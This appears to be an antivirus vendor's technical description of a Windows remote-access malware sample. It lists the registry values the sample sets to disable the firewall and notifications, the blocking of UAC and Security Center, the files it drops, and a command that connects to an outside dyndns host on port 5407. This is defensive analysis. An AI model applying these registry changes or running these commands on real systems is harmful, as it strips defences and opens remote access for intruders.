Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Control Panel\Desktop] 'SCRNSAVE.EXE' = '00000000'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
- [HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
- [HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
- Windows Security Center
Modifies file system
Creates the following files
- %TEMP%\aut95e8.tmp
- %APPDATA%\rdp6\bkgscgreen.bmp
- %TEMP%\aut971a.tmp
- %APPDATA%\rdp6\bkgscblue.bmp
- %TEMP%\aut9719.tmp
- %APPDATA%\rdp6\bkgsc.bmp
- %TEMP%\aut9709.tmp
- %APPDATA%\rdp6\tsftpclient.dll
- %TEMP%\aut96e9.tmp
- %APPDATA%\rdp6\ico2.ico
- %TEMP%\aut96c8.tmp
- %APPDATA%\rdp6\languk.ini
- %TEMP%\aut96c7.tmp
- %APPDATA%\rdp6\connectionclient8.exe
- %TEMP%\aut9669.tmp
- %APPDATA%\rdp6\mstsc.exe
- %TEMP%\aut9649.tmp
- %APPDATA%\rdp6\mstscax.dll
- %TEMP%\aut95fa.tmp
- %APPDATA%\rdp6\tscredentials.exe
- %TEMP%\aut95f9.tmp
- %APPDATA%\rdp6\<File name>.txt
- %TEMP%\aut971b.tmp
- %APPDATA%\rdp6\bkgscpink.bmp
Deletes the following files
- %TEMP%\aut95e8.tmp
- %TEMP%\aut95f9.tmp
- %TEMP%\aut95fa.tmp
- %TEMP%\aut9649.tmp
- %TEMP%\aut9669.tmp
- %TEMP%\aut96c7.tmp
- %TEMP%\aut96c8.tmp
- %TEMP%\aut96e9.tmp
- %TEMP%\aut9709.tmp
- %TEMP%\aut9719.tmp
- %TEMP%\aut971a.tmp
- %TEMP%\aut971b.tmp
- %APPDATA%\rdp6\bkgsc.bmp
Substitutes the following files
- %APPDATA%\rdp6\bkgsc.bmp
Miscellaneous
Creates and executes the following
- '%APPDATA%\rdp6\connectionclient8.exe' -server immotebcosmo.dyndns.org -port 5407 -alttab 0 -disk on -preview on -rdp5 on -localtb 32
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c regsvr32.exe /s "%APPDATA%\RDP6\TSFTPClient.dll"
- '%WINDIR%\syswow64\regsvr32.exe' /s "%APPDATA%\RDP6\TSFTPClient.dll"
- '%WINDIR%\syswow64\cmd.exe' /c regsvr32.exe /s "%APPDATA%\RDP6\TSFTPClient.dll"' (with hidden window)
